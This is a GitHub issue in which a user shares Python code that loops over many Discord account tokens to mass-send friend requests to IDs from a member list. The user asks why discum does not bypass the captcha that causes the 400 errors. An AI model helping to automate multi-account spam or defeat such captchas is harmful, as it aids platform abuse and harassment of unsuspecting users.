Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Can't send friend requests (Error 400) #487

Open
FuckingToasters opened this issue Sep 11, 2024 · 0 comments
Open

Can't send friend requests (Error 400) #487

FuckingToasters opened this issue Sep 11, 2024 · 0 comments

Comments

@FuckingToasters
Copy link

FuckingToasters commented Sep 11, 2024

Hello, so first i tried to send friend requests normally via the api which caused an 400 error. The Text response was something around the lines of Your app is outdated, update your app to send this friend request. This means, that Captcha Solving is required.

I then went ahed and used discum for it as i assumed that an bypass for this has already been implemented, however i get the same statuscode Discum Friend Request: <Response [400]>.

Here my Code:

# Friend Requester	
if option == "2":
    for token in tokens:
        headers["Authorization"] = token
		
        bot = discum.Client(token=token, log={"console": False, "file": False})
	
        def requester():
            with open("members.txt") as file: members = file.read().split()
			
            for token in tokens:
                headers["Authorization"] = token
			
            for member in members:
                print("Discum Friend Request: ", bot.requestFriend(member))
                
		#response = requests.put(f'https://discord.com/api/v9/users/@me/relationships/{member}', headers=headers, json={})
                #success_codes, status = statuscode(response)
                #print(response.text)
                #print(response.status_code)
				
                #if status == 204:
                    #delay = generate_delay()
        requester()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant